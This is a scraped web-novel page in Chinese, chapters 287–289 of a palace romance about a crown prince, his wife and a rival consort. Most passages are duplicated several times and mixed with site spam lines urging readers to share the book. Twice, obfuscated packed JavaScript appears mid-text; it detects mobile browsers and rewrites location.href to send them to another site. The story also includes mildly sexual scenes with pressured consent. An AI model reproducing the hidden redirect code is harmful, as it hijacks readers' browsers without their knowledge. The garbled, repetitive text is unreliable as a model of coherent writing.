裴墨染的内心澎湃,心潮翻涌,他激动地抓住云清婳的手,笑道:“蛮蛮,父皇器重承基,我的地位更稳了。” “夫君托了孩子的福了。”她打趣道。 他激动不已,捧着她的脸,在她眉间亲了一口。 “谢谢你,蛮蛮。”他满心都是感激。 感谢蛮蛮为他生了这么聪明伶俐的两个孩子。 “讨厌!孩子还看着呢。”她嗔怪道。 裴墨染不甚在意,他小声道:“看见就看见呗,他们懂什么?” “咦惹,羞羞脸。”承基冲他做鬼脸。 辞忧也捂着眼睛,“羞羞脸!爹爹羞羞脸!” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 语气温柔,“怎么蹲在榻前?” 他俯下身,揉揉孩子们的小脑袋。 “爹~”辞忧的眼睛都亮了。 承基也奶呼呼地唤道:“爹爹~” 裴墨染的嘴角上扬,他揩去他们嘴角的糕屑,“诶。” “夫君回来得好晚,用膳了吗?”云清婳抬眼看着他。 他回忆起了御书房的不愉快,脸上的喜色淡去,“不想吃,我吃不下。” 方才父皇跟皇后说了一样的话——让他宠幸苏灵音。 因为苏灵音的外祖父一家治水有功,身为太子不能寒了功臣的心。 在父皇的威压下,他答应了。 “吃些吧,我喂夫君。”她半玩笑道。 “娘亲喂宝宝!”辞忧高高举起手。 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裴墨染的内心澎湃,心潮翻涌,他激动地抓住云清婳的手,笑道:“蛮蛮,父皇器重承基,我的地位更稳了。 “夫君托了孩子的福了。她打趣道。 他激动不已,捧着她的脸,在她眉间亲了一口。 “谢谢你,蛮蛮。他满心都是感激。 感谢蛮蛮为他生了这么聪明伶俐的两个孩子。 “讨厌!孩子还看着呢。她嗔怪道。 裴墨染不甚在意,他小声道:“看见就看见呗,他们懂什么? “咦惹,羞羞脸。承基冲他做鬼脸。 辞忧也捂着眼睛,“羞羞脸!爹爹羞羞脸! 听说看这本书的人都是很幸运的,分享后你的运气会更棒 语气温柔,“怎么蹲在榻前?” 他俯下身,揉揉孩子们的小脑袋。 “爹~”辞忧的眼睛都亮了。 承基也奶呼呼地唤道:“爹爹~” 裴墨染的嘴角上扬,他揩去他们嘴角的糕屑,“诶。” “夫君回来得好晚,用膳了吗?”云清婳抬眼看着他。 他回忆起了御书房的不愉快,脸上的喜色淡去,“不想吃,我吃不下。” 方才父皇跟皇后说了一样的话——让他宠幸苏灵音。 因为苏灵音的外祖父一家治水有功,身为太子不能寒了功臣的心。 在父皇的威压下,他答应了。 “吃些吧,我喂夫君。”她半玩笑道。 “娘亲喂宝宝!”辞忧高高举起手。 承基瞪着圆圆的眼睛,指着嘴,“娘亲,饿饿!” 裴墨染笑了。 “你们不能再吃了!肚子都撑成球了。”云清婳掀开他们的小罩衣,露出圆滚滚的肚皮。 两个小奶包像是收到了批评,蔫蔫地垂下脑袋。 辞忧跟变戏法似的从万嬷嬷缝制的罩衣内兜里掏出一块小桃酥,咬了起来。 裴墨染跟云清婳看得一愣一愣的。 “哪来的桃酥?”他侧过脸看辞忧的小兜。 辞忧跟**毛虫似的,扭过身子,把屁股对着他。 云清婳在辞忧的小屁股上捏了一下,“别藏了,爹娘不吃。” “唔……”辞忧将剩下半块小桃酥塞进嘴里,才放心地扭回身子。 裴墨染宠溺道:“蛮蛮,辞忧古灵精怪的,像你。” “她这么欠,像你才对。”她笑道。 他学着云清婳,蹲下身,好奇地问:“蛮蛮,你在宫里说有喜事,是什么事?” 她莞尔,眼波流转,看向孩子,“最近爷爷教了什么?” “嗯?”裴墨染不解的看着他们。 承基、辞忧异口同声:“人之初,性本善,性相近……” 裴墨染的桃花眼倏地被点燃,他睁大了双眼,“这是……父皇教的?” “对!”她颔首,压低声音,“两个孩子从小就被皇上亲自教导!” 这含金量不用说了! 裴墨染的内心澎湃,心潮翻涌,他激动地抓住云清婳的手,笑道:“蛮蛮,父皇器重承基,我的地位更稳了。” “夫君托了孩子的福了。”她打趣道。 他激动不已,捧着她的脸,在她眉间亲了一口。 “谢谢你,蛮蛮。”他满心都是感激。 感谢蛮蛮为他生了这么聪明伶俐的两个孩子。 “讨厌!孩子还看着呢。”她嗔怪道。 裴墨染不甚在意,他小声道:“看见就看见呗,他们懂什么?” “咦惹,羞羞脸。”承基冲他做鬼脸。 辞忧也捂着眼睛,“羞羞脸!爹爹羞羞脸!” 你的朋友正在书荒,快去帮帮他吧 语气温柔“怎么蹲在榻前?” 他俯下身揉揉孩子们的小脑袋。 “爹~”辞忧的眼睛都亮了。 承基也奶呼呼地唤道:“爹爹~” 裴墨染的嘴角上扬他揩去他们嘴角的糕屑“诶。” “夫君回来得好晚用膳了吗?”云清婳抬眼看着他。 他回忆起了御书房的不愉快脸上的喜色淡去“不想吃我吃不下。” 方才父皇跟皇后说了一样的话——让他宠幸苏灵音。 因为苏灵音的外祖父一家治水有功身为太子不能寒了功臣的心。 在父皇的威压下他答应了。 “吃些吧我喂夫君。”她半玩笑道。 “娘亲喂宝宝!”辞忧高高举起手。 承基瞪着圆圆的眼睛指着嘴“娘亲饿饿!” 裴墨染笑了。 “你们不能再吃了!肚子都撑成球了。”云清婳掀开他们的小罩衣露出圆滚滚的肚皮。 两个小奶包像是收到了批评蔫蔫地垂下脑袋。 辞忧跟变戏法似的从万嬷嬷缝制的罩衣内兜里掏出一块小桃酥咬了起来。 裴墨染跟云清婳看得一愣一愣的。 “哪来的桃酥?”他侧过脸看辞忧的小兜。 辞忧跟**毛虫似的扭过身子把屁股对着他。 云清婳在辞忧的小屁股上捏了一下“别藏了爹娘不吃。” “唔……”辞忧将剩下半块小桃酥塞进嘴里才放心地扭回身子。 裴墨染宠溺道:“蛮蛮辞忧古灵精怪的像你。” “她这么欠像你才对。”她笑道。 他学着云清婳蹲下身好奇地问:“蛮蛮你在宫里说有喜事 她莞尔眼波流转看向孩子“最近爷爷教了什么?” “嗯?”裴墨染不解的看着他们。 承基、辞忧异口同声:“人之初性本善性相近……” 裴墨染的桃花眼倏地被点燃他睁大了双眼“这是……父皇教的?” “对!”她颔首压低声音“两个孩子从小就被皇上亲自教导!” 这含金量不用说了! 裴墨染的内心澎湃心潮翻涌他激动地抓住云清婳的手笑道:“蛮蛮父皇器重承基我的地位更稳了。” “夫君托了孩子的福了。”她打趣道。 他激动不已捧着她的脸在她眉间亲了一口。 “谢谢你蛮蛮。”他满心都是感激。 感谢蛮蛮为他生了这么聪明伶俐的两个孩子。 “讨厌!孩子还看着呢。”她嗔怪道。 裴墨染不甚在意他小声道:“看见就看见呗他们懂什么?” “咦惹羞羞脸。”承基冲他做鬼脸。 辞忧也捂着眼睛“羞羞脸!爹爹羞羞脸!” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 第287章 登徒子上了她的榻? 裴墨染:…… 云清婳:…… 狗男人低估孩子的智商了! 她老脸一红,忙不迭起身,“裴墨染,都怪你!孩子正是喜欢模仿人的时候,你要是把孩子教坏了,我一定不会放过你!” 裴墨染的脸泛着淡淡的红。 他从盘中拿了两个糕点递给孩子,“快吃,吃完就给我忘了!” 两个小奶包接过糕点香喷喷地吃起来。 裴墨染立即让下人将孩子抱走。 他走到云清婳身后,从后环住她纤细的腰肢,“放心吧,孩子还小,明日就忘了。” “夫君心情不好?” 自从狗男人进门,云清婳就感受到了。 裴墨染的身子一僵,他的声音低沉而赋有磁性,“嗯。” 他的薄唇动了动,有些难以启齿,最后发出了一声叹息。 “怎么了?”她问。 裴墨染扭转过她的身子,让她面对他,他温吞道:“苏灵音外祖一家治水有功,父皇让我稍加安抚苏灵音,宠幸于她。” 云清婳眼底的嫌弃倾泻而出,鄙夷、膈应的小表情差点没绷住。 但很快她就恢复了往日的温和、淡然。 不过这些小情绪还是不多不少地被裴墨染捕捉到。 “一切以大局为重,夫君不能忤逆圣上,也不好拂了功臣的脸面,我都懂。”她落落大方道。 裴墨染知道,她是在佯装大方。 蛮蛮明明十分厌恶苏灵音,可却假装不在乎,她的心里一定很不好受! “蛮蛮,我也不愿跟苏灵音再有牵扯,这只是权宜之计,我心中是有分明的。”他紧紧攥住她的手腕。 云清婳只要一想到狗男人又要跟苏灵音春宵一刻,她胃里就翻江倒海,膈应不已。 她甩开他的手,挤出笑,“夫君,既然圣上已经交代了,你就快去吧。” 裴墨染启唇欲语,可却不知该说什么,他缓缓颔首。 人走后,云清婳露出了满脸的嫌弃,“恶心**。” “殿下又不是第一次宠幸苏灵音,主子怎么这么大反应?”飞霜打趣道。 “之前也就罢了,可现在我们已经撕破脸,他还跟苏灵音春宵一刻,我光是想想就膈应。狗男 人本来就脏现在更脏了!”云清婳都不想再看见裴墨染了。 她真的膈应。 飞霜红着脸小声道:“殿下倘若真如他所说的那般厌恶苏灵音也行不了房啊男人果然没一个好东西!” “啧小飞霜变聪明了啊。”云清婳倏地笑了她有些惊讶飞霜的进步。 飞霜面颊绯红她低声道:“男人果然没一个好东西嘴上说着厌恶其实什么都睡得下去。” 云清婳生理性厌恶胃里当真有些膈应。 …… 清心阁。 苏灵音已然沐浴更衣完毕身披桃色的薄纱睡裙露出白皙细嫩的一截小腿坐在床榻边缘。 她身上穿着精心裁制的睡裙胸口大片春色隐隐若现。 苏灵音的眼中含泪痴痴地看着眼前人。 许久未见恍若隔世。 她的心脏扑通扑通乱跳这是看见心上人的悸动。 “殿下我真的知道错了日后我跟苏家会尽心尽力扶持您!不再有腌臜心思我跟姑母不一样!姑母拎不清总是向着裴云澈但我心中只有您。”苏灵音生怕他转身要走连忙跪在地上匍匐在他的脚边。 卑微到尘埃里折断敲碎了一身的傲骨。 苏灵音的胸前呼之欲出这明显是精心挑选的角度。 裴墨染只要一垂眸就能看见。 他也的确看见了但毫无波动这点**对他而言索然无味! 这像什么? 就好比有人说蛋黄加醋能吃出蟹味。 但是有螃蟹吃的人 面前的苏灵音如是让他毫无欲望! 他负着双手居高临下道:“错已酿成以前的事别提了。你外祖父立了大功父皇与本宫自然不会薄待你们。” 他例行公事般地说着不带一丝感情。 苏灵音却喜极而泣连忙点头“是!我知道殿下还在生我的气但我已经大彻大悟我会让您看到我的改变。” 她在心中暗暗告诉自己只要对裴墨染好精诚所至金石为开裴墨染总有一天会被她打动! 难道她的满腔真情还比不上云清婳的虚情假意吗? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16184942|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >巧慧垂着脑袋她暗暗翻白眼 。 苏灵音不是自诩清白说心中只有苏家的未来自己不会为了男人要死要活吗? 那她这是在干什么? 真是比太子妃差远了! “你先上榻吧本宫先去沐浴。”裴墨染递给王显一个眼神。 “是。”苏灵音的脸红得不得了。 良久没有跟裴墨染亲昵就好像新婚一般她羞涩得无以复加。 竟然有些紧张! 像是未经人事的少女。 王显屏退众人阖上门窗、熄灭所有灯烛 夜凉如水寝殿陷入了无尽的黑暗。 苏灵音脱下身上薄纱亵衣跪在榻上。 她捂着心口暗暗对自己说:今日所受的**、委屈将来她都会讨回来! 等裴墨染真正爱上她到时候她一定会让裴墨染好看! 思及此她美滋滋地笑了。 到那时她才不会轻易原谅他呢! 不一会儿净室的门被推开。 一个庞大冰冷的身躯将她压下动作粗鲁。 她嘤咛一声男人堵住她的唇瓣吞咽了她的娇啼。 苏灵音浑身好似被火焚烧兴奋不已! 这还是裴墨染第一次主动吻她! …… 夜里下起了骤雨窗下雨打芭蕉淅淅沥沥响个不停。 云清婳睡眠浅她猝然感到坚硬炙热的躯体。 她的身子一僵浑身冒出了冷汗心脏狂跳。 云清婳睁开双眼其中倒映出惊恐她小心翼翼地将手伸到发髻上从发间拔出簪子。 她正欲狠狠刺过去一只大掌快一步扣住她的腕。 “想**亲夫?”慵懒的调笑声从耳后传来。 云清婳硬邦邦的身子瞬间松软下来。 她怒上心头转过身啪—— 一巴掌甩上男人的俊脸。 狗男人! 替好人**吧! 大晚上跑过来吓人! 裴墨染瞪圆了眼。 “你打我?”他捂着脸一脸委屈。 她的眼泪噗噗直冒“你吓死我了!你吓死我了!我还以为是登徒子……呜呜……” 第288章 我不脏,你别嫌弃我 裴墨染心疼坏了,他张开双臂搂抱住她,“蛮蛮,你别哭啊,我错了……我见你睡着了不敢扰你,谁知会吓到你?怪我、怪我!” “混蛋!混蛋!”云清婳趁机攥着拳头在他胸口猛砸。 她用尽了力气,可裴墨染不痛不痒。 他任凭她发泄,无奈的笑道:“你呀,真是胆小!东宫戒备森严,怎会有登徒子?蛮蛮这般彪悍,除了我,谁敢上你的榻?” “你的苏侧妃在东宫,谁知会作什么妖?”她阴阳怪气道。 方才有一瞬间,她真以为自己被苏灵音算计了! 他一哽,想反驳却反驳不了。 只要有苏灵音这个祸害在,东宫便一日不宁。 蛮蛮跟孩子也不得安宁。 云清婳的眼神倏而鄙夷,一想到方才裴墨染跟苏灵音温存,她就膈应不已。 “这么晚了,夫君怎么回来了?”她往边上闪了闪,不想挨着他。 裴墨染捕捉到了她的嫌弃,就好像他身上有脏东西。 “蛮蛮,我没碰她!”他一字一顿,信誓旦旦的说。 他是真的有些伤心了,他不喜欢蛮蛮用这种冷漠的眼神看他。 云清婳揣着一肚子的狐疑。 狗男人都去清心阁了,又有皇命在前,他怎敢不碰苏灵音? 裴墨染知道她不信,但有些龃龉,他暂且不想说给她听,害怕吓到她。 他既恼火又委屈,“蛮蛮,我真的没有碰她,你不信我?” “……”云清婳剐了他一眼。 狗男人! 跟苏灵音欢好还不承认! 敢做不敢当! 还大晚上回来装情圣! “好,我信夫君。”她敷衍的说着,将被褥扯过肩头重新躺下。 裴墨染心如蚁噬,急得不行,他摇了摇她单薄的肩膀,“蛮蛮,你分明不信我,你在敷衍!” 她阖上双眼,打了个哈欠,“你好吵,我困了。” 裴墨染看着她冷冰冰的模样,气闷不已。 就好像一拳打在了棉花上。 他不能接受被蛮蛮嫌弃! 裴墨染的双眼猩红,他俯下身,强势的堵住她的唇,掠夺她的呼吸。 “唔……”云清婳身躯一 震想到他方才可能亲过苏灵音胃里便一阵翻江倒海。 她使劲挣扎手狠狠推开他的脸 “呸呸呸……”她用袖子擦嘴胃里膈应得想吐。 “你承认了!你果然嫌弃我!”裴墨染的脸上染着桀骜的怒可眼底满是委屈快要碎了“你这个女人真薄情我可是你夫君!” 云清婳本想佯装大度不愿暴露的。 可事已至此再装下去也没必要了。 她承认了“你碰了苏灵音就别碰我!她害我、害孩子你却跟她你侬我侬!你不膈应我还膈应呢!你不许上我的榻滚下去!” 云清婳挤出一滴眼泪她使劲推着他的胸口作势要把他推下榻。 可她的气力在男人面前就如同蚍蜉撼树。 裴墨染将她扯进怀里把她牢牢桎梏在臂弯里心疼道:“蛮蛮我没碰她我不脏!你别嫌弃我。” 她翻了个白眼。 狗男人! 后宅这么多人还有脸说自己不脏! 他对脏的定义可真宽泛。 “蛮蛮我没碰苏灵音真的!我对她的厌恶比起你只多不少!我怎么可能临幸她?”他轻拍着她的背安抚着她躁动的情绪。 “天下女子中除了辞忧我只亲过你!我绝不会亲苏灵音你别这么嫌弃我。” 她胃中的不适减轻一半她嗔怪道:“去你的!你提女儿干嘛?我还能跟女儿争宠不成?” 裴墨染感受到她的放松他小声抱怨:“你这个女人真是翻脸比翻书还快!方才还大度的让我去清心阁这会儿就嫌弃得不行!幸亏我没中你的计否则你不得折磨死我?” 他的语气还有些沾沾自喜像是庆幸自己的机智。 她飞出一记眼刀他吓得立即噤声双臂缠上她的腰。 “夫君真没碰她?”云清婳心中惶惑听裴墨染的语气他似乎真的没碰苏灵音。 可他明明在清心阁待了许久。 听说他还沐浴更衣了…… 这是怎么回事? 她一头雾水。 “千真万确!我敢对天发誓!娘子明明这么在乎我还假装大度!”他的唇落在她的耳廓上 ,炙热的气息撒在耳畔,将她的肌肤染上一片粉。 云清婳乜了他一眼,正色道:“夫君,可是你不临幸苏灵音,怎么跟皇上交代?倘若苏灵音稍微透露点风声,你岂不是犯了欺君之罪?” 他轻眨眼睫,“我自有办法,你放心吧。” 见他不愿多说,云清婳只好把疑惑咽回肚子里。 他的唇落在她的眉心,戏谑的笑道:“现在满意了?娘子当我是耕地的牛?累了一天,还精力无限?临幸完一个,又精力充沛的来你面前?我可不想纵欲过度,精尽而亡!” “呸!”她老脸一红,连忙捂住他的嘴,“裴墨染,你不要脸!” “我在我娘子面前要什么脸?我若是要脸,还能天天被你扇巴掌?”他理直气壮。 就好像被打脸是值得骄傲的事情。 “不是……大哥,你多少有点变态了。”她忍不住道。 他拍了下她的屁股,“什么大哥?我是你夫君!” 忽然间,云清婳感受到了什么。 她下意识觉得是汤婆子,可很快她就反应过来,小脸蹭的红了。 裴墨染知道她意识到了,手开始不老实的解她的腰带。 云清婳想拒绝,可他根本不给拒绝的机会。 他将脸埋进她的颈窝,撒娇道:“蛮蛮,都怪那个女人!方才我还以为我病了,她对我百般诱惑,我都没有反应。我都怀疑我是不是跟裴云澈一样不行了,幸亏见到了你。” 她纤细的双臂勾住他的脖子,她皮笑肉不笑:“夫君,那她是怎么百般诱惑你的?” “她……”裴墨染差点闪到舌头。 他恨不得给自己一耳光。 在蛮蛮面前,他说这个作甚? 简直是搬起石头砸自己的脚。 “我、我没仔细看,忘了。”他心虚揉了下鼻尖。 云清婳眼风一厉,她重新系好腰带,脚丫在他腿上踹了一脚,“你回忆不起来,就别碰我!” 嘶—— 他疼得倒吸了口凉气,“又想**亲夫!?除了我,还有谁受得了你?” 你的朋友正在书荒,快去帮帮他吧 炙热的气息撒在耳畔将她的肌肤染上一片粉。 云清婳乜了他一眼正色道:“夫君可是你不临幸苏灵音怎么跟皇上交代?倘若苏灵音稍微透露点风声 他轻眨眼睫“我自有办法你放心吧。” 见他不愿多说云清婳只好把疑惑咽回肚子里。 他的唇落在她的眉心戏谑的笑道:“现在满意了?娘子当我是耕地的牛?累了一天还精力无限?临幸完一个又精力充沛的来你面前?我可不想纵欲过度精尽而亡!” “呸!”她老脸一红连忙捂住他的嘴“裴墨染你不要脸!” “我在我娘子面前要什么脸?我若是要脸还能天天被你扇巴掌?”他理直气壮。 就好像被打脸是值得骄傲的事情。 “不是……大哥你多少有点变态了。”她忍不住道。 他拍了下她的屁股“什么大哥?我是你夫君!” 忽然间云清婳感受到了什么。 她下意识觉得是汤婆子可很快她就反应过来小脸蹭的红了。 裴墨染知道她意识到了手开始不老实的解她的腰带。 云清婳想拒绝可他根本不给拒绝的机会。 他将脸埋进她的颈窝撒娇道:“蛮蛮都怪那个女人!方才我还以为我病了她对我百般诱惑我都没有反应。我都怀疑我是不是跟裴云澈一样不行了幸亏见到了你。” 她纤细的双臂勾住他的脖子她皮笑肉不笑:“夫君那她是怎么百般诱惑你的?” “她……”裴墨染差点闪到舌头。 他恨不得给自己一耳光。 在蛮蛮面前他说这个作甚? 简直是搬起石头砸自己的脚。 “我、我没仔细看忘了。”他心虚揉了下鼻尖。 云清婳眼风一厉她重新系好腰带脚丫在他腿上踹了一脚“你回忆不起来就别碰我!” 嘶—— 他疼得倒吸了口凉气“又想**亲夫!?除了我还有谁受得了你?” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 ,炙热的气息撒在耳畔,将她的肌肤染上一片粉。 云清婳乜了他一眼,正色道:“夫君,可是你不临幸苏灵音,怎么跟皇上交代?倘若苏灵音稍微透露点风声,你岂不是犯了欺君之罪? 他轻眨眼睫,“我自有办法,你放心吧。 见他不愿多说,云清婳只好把疑惑咽回肚子里。 他的唇落在她的眉心,戏谑的笑道:“现在满意了?娘子当我是耕地的牛?累了一天,还精力无限?临幸完一个,又精力充沛的来你面前?我可不想纵欲过度,精尽而亡! “呸!她老脸一红,连忙捂住他的嘴,“裴墨染,你不要脸! “我在我娘子面前要什么脸?我若是要脸,还能天天被你扇巴掌?他理直气壮。 就好像被打脸是值得骄傲的事情。 “不是……大哥,你多少有点变态了。 他拍了下她的屁股,“什么大哥?我是你夫君! 忽然间,云清婳感受到了什么。 她下意识觉得是汤婆子,可很快她就反应过来,小脸蹭的红了。 裴墨染知道她意识到了,手开始不老实的解她的腰带。 云清婳想拒绝,可他根本不给拒绝的机会。 他将脸埋进她的颈窝,撒娇道:“蛮蛮,都怪那个女人!方才我还以为我病了,她对我百般诱惑,我都没有反应。我都怀疑我是不是跟裴云澈一样不行了,幸亏见到了你。 她纤细的双臂勾住他的脖子,她皮笑肉不笑:“夫君,那她是怎么百般诱惑你的? “她……裴墨染差点闪到舌头。 他恨不得给自己一耳光。 在蛮蛮面前,他说这个作甚? 简直是搬起石头砸自己的脚。 “我、我没仔细看,忘了。他心虚揉了下鼻尖。 云清婳眼风一厉,她重新系好腰带,脚丫在他腿上踹了一脚,“你回忆不起来,就别碰我! 嘶—— 他疼得倒吸了口凉气,“又想**亲夫!?除了我,还有谁受得了你? 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 ,炙热的气息撒在耳畔,将她的肌肤染上一片粉。 云清婳乜了他一眼,正色道:“夫君,可是你不临幸苏灵音,怎么跟皇上交代?倘若苏灵音稍微透露点风声,你岂不是犯了欺君之罪?” 他轻眨眼睫,“我自有办法,你放心吧。” 见他不愿多说,云清婳只好把疑惑咽回肚子里。 他的唇落在她的眉心,戏谑的笑道:“现在满意了?娘子当我是耕地的牛?累了一天,还精力无限?临幸完一个,又精力充沛的来你面前?我可不想纵欲过度,精尽而亡!” “呸!”她老脸一红,连忙捂住他的嘴,“裴墨染,你不要脸!” “我在我娘子面前要什么脸?我若是要脸,还能天天被你扇巴掌?”他理直气壮。 就好像被打脸是值得骄傲的事情。 “不是……大哥,你多少有点变态了。”她忍不住道。 他拍了下她的屁股,“什么大哥?我是你夫君!” 忽然间,云清婳感受到了什么。 她下意识觉得是汤婆子,可很快她就反应过来,小脸蹭的红了。 裴墨染知道她意识到了,手开始不老实的解她的腰带。 云清婳想拒绝,可他根本不给拒绝的机会。 他将脸埋进她的颈窝,撒娇道:“蛮蛮,都怪那个女人!方才我还以为我病了,她对我百般诱惑,我都没有反应。我都怀疑我是不是跟裴云澈一样不行了,幸亏见到了你。” 她纤细的双臂勾住他的脖子,她皮笑肉不笑:“夫君,那她是怎么百般诱惑你的?” “她……”裴墨染差点闪到舌头。 他恨不得给自己一耳光。 在蛮蛮面前,他说这个作甚? 简直是搬起石头砸自己的脚。 “我、我没仔细看,忘了。”他心虚揉了下鼻尖。 云清婳眼风一厉,她重新系好腰带,脚丫在他腿上踹了一脚,“你回忆不起来,就别碰我!” 嘶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16184943|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —— 他疼得倒吸了口凉气,“又想**亲夫!?除了我,还有谁受得了你?” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 炙热的气息撒在耳畔将她的肌肤染上一片粉。 云清婳乜了他一眼正色道:“夫君可是你不临幸苏灵音怎么跟皇上交代?倘若苏灵音稍微透露点风声你岂不是犯了欺君之罪?” 他轻眨眼睫“我自有办法你放心吧。” 见他不愿多说云清婳只好把疑惑咽回肚子里。 他的唇落在她的眉心戏谑的笑道:“现在满意了?娘子当我是耕地的牛?累了一天还精力无限?临幸完一个又精力充沛的来你面前?我可不想纵欲过度精尽而亡!” “呸!”她老脸一红连忙捂住他的嘴“裴墨染你不要脸!” “我在我娘子面前要什么脸?我若是要脸还能天天被你扇巴掌?”他理直气壮。 就好像被打脸是值得骄傲的事情。 “不是……大哥你多少有点变态了。”她忍不住道。 他拍了下她的屁股“什么大哥?我是你夫君!” 忽然间云清婳感受到了什么。 她下意识觉得是汤婆子可很快她就反应过来小脸蹭的红了。 裴墨染知道她意识到了手开始不老实的解她的腰带。 云清婳想拒绝可他根本不给拒绝的机会。 他将脸埋进她的颈窝撒娇道:“蛮蛮都怪那个女人!方才我还以为我病了她对我百般诱惑我都没有反应。我都怀疑我是不是跟裴云澈一样不行了幸亏见到了你。” 她纤细的双臂勾住他的脖子她皮笑肉不笑:“夫君那她是怎么百般诱惑你的?” “她……”裴墨染差点闪到舌头。 他恨不得给自己一耳光。 在蛮蛮面前他说这个作甚? 简直是搬起石头砸自己的脚。 “我、我没仔细看忘了。”他心虚揉了下鼻尖。 云清婳眼风一厉 嘶—— 他疼得倒吸了口凉气“又想**亲夫!?除了我还有谁受得了你?” 你的朋友正在书荒,快去帮帮他吧 炙热的气息撒在耳畔将她的肌肤染上一片粉。 云清婳乜了他一眼正色道:“夫君可是你不临幸苏灵音怎么跟皇上交代?倘若苏灵音稍微透露点风声你岂不是犯了欺君之罪?” 他轻眨眼睫“我自有办法你放心吧。” 见他不愿多说云清婳只好把疑惑咽回肚子里。 他的唇落在她的眉心戏谑的笑道:“现在满意了?娘子当我是耕地的牛?累了一天还精力无限?临幸完一个又精力充沛的来你面前?我可不想纵欲过度精尽而亡!” “呸!”她老脸一红连忙捂住他的嘴“裴墨染你不要脸!” “我在我娘子面前要什么脸?我若是要脸还能天天被你扇巴掌?”他理直气壮。 就好像被打脸是值得骄傲的事情。 “不是……大哥你多少有点变态了。”她忍不住道。 他拍了下她的屁股“什么大哥?我是你夫君!” 忽然间云清婳感受到了什么。 她下意识觉得是汤婆子可很快她就反应过来小脸蹭的红了。 裴墨染知道她意识到了手开始不老实的解她的腰带。 云清婳想拒绝可他根本不给拒绝的机会。 他将脸埋进她的颈窝撒娇道:“蛮蛮都怪那个女人!方才我还以为我病了她对我百般诱惑我都没有反应。我都怀疑我是不是跟裴云澈一样不行了幸亏见到了你。” 她纤细的双臂勾住他的脖子她皮笑肉不笑:“夫君那她是怎么百般诱惑你的?” “她……”裴墨染差点闪到舌头。 他恨不得给自己一耳光。 在蛮蛮面前他说这个作甚? 简直是搬起石头砸自己的脚。 “我、我没仔细看 云清婳眼风一厉她重新系好腰带脚丫在他腿上踹了一脚“你回忆不起来就别碰我!” 嘶—— 他疼得倒吸了口凉气“又想**亲夫!?除了我还有谁受得了你?” 你的朋友正在书荒,快去帮帮他吧 ,炙热的气息撒在耳畔,将她的肌肤染上一片粉。 云清婳乜了他一眼,正色道:“夫君,可是你不临幸苏灵音,怎么跟皇上交代?倘若苏灵音稍微透露点风声,你岂不是犯了欺君之罪? 他轻眨眼睫,“我自有办法,你放心吧。 见他不愿多说,云清婳只好把疑惑咽回肚子里。 他的唇落在她的眉心,戏谑的笑道:“现在满意了?娘子当我是耕地的牛?累了一天,还精力无限?临幸完一个,又精力充沛的来你面前?我可不想纵欲过度,精尽而亡! “呸!她老脸一红,连忙捂住他的嘴,“裴墨染,你不要脸! “我在我娘子面前要什么脸?我若是要脸,还能天天被你扇巴掌?他理直气壮。 就好像被打脸是值得骄傲的事情。 “不是……大哥,你多少有点变态了。她忍不住道。 他拍了下她的屁股,“什么大哥?我是你夫君! 忽然间,云清婳感受到了什么。 她下意识觉得是汤婆子,可很快她就反应过来,小脸蹭的红了。 裴墨染知道她意识到了,手开始不老实的解她的腰带。 云清婳想拒绝,可他根本不给拒绝的机会。 他将脸埋进她的颈窝,撒娇道:“蛮蛮,都怪那个女人!方才我还以为我病了,她对我百般诱惑,我都没有反应。我都怀疑我是不是跟裴云澈一样不行了,幸亏见到了你。 她纤细的双臂勾住他的脖子,她皮笑肉不笑:“夫君,那她是怎么百般诱惑你的? “她……裴墨染差点闪到舌头。 他恨不得给自己一耳光。 在蛮蛮面前,他说这个作甚? 简直是搬起石头砸自己的脚。 “我、我没仔细看,忘了。他心虚揉了下鼻尖。 云清婳眼风一厉,她重新系好腰带,脚丫在他腿上踹了一脚,“你回忆不起来,就别碰我! 嘶—— 他疼得倒吸了口凉气,“又想**亲夫!?除了我,还有谁受得了你? 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 第289章 需要他的时候,他都不在 她扭转身子,阖上了双眼。 裴墨染轻轻摇晃她的肩膀,“那我说了,你别生气。” 云清婳快被气笑了。 他怎么还敢提? “闭嘴!谁想听你们温存啊?你有没有脑子啊?”她捂住耳朵。 裴墨染像是霜打的茄子,他不满地小声喃喃:“说谁没脑子呢?” …… 正值初一,每月这个时候发月钱。 后宅的夫人都回来玄音阁请安。 天蒙蒙亮,二十多位夫人就在庭院里等候。 飞霜将她们请进大厅,命人备糕点、茶水。 云清婳梳着惊鸿髻,髻中央插着金梳篦跟一对玉质竹节簪,发髻后方戴了一朵牡丹,华贵不失清丽,她穿着浅紫色锦绣撒花襦裙,外面罩着一层水光纱,只是略施粉黛便让人挪不开眼。 她从珠帘走进来,众人看到云清婳的瞬间,眼睛都亮了,像是在云雾后看见了婷婷袅袅的仙子。 “见过太子妃。”众人福礼。 云清婳摆摆手,示意免礼。 她坐在上首,眼神从每个人身上扫过,“苏侧妃呢?” 众人面面相觑,都很疑惑。 就在这时,一个穿着鲜艳的嫣色抹胸襦裙的女子被搀扶着走来,她红光满面,眼神带着媚态,一看就是被人狠狠疼爱过的。 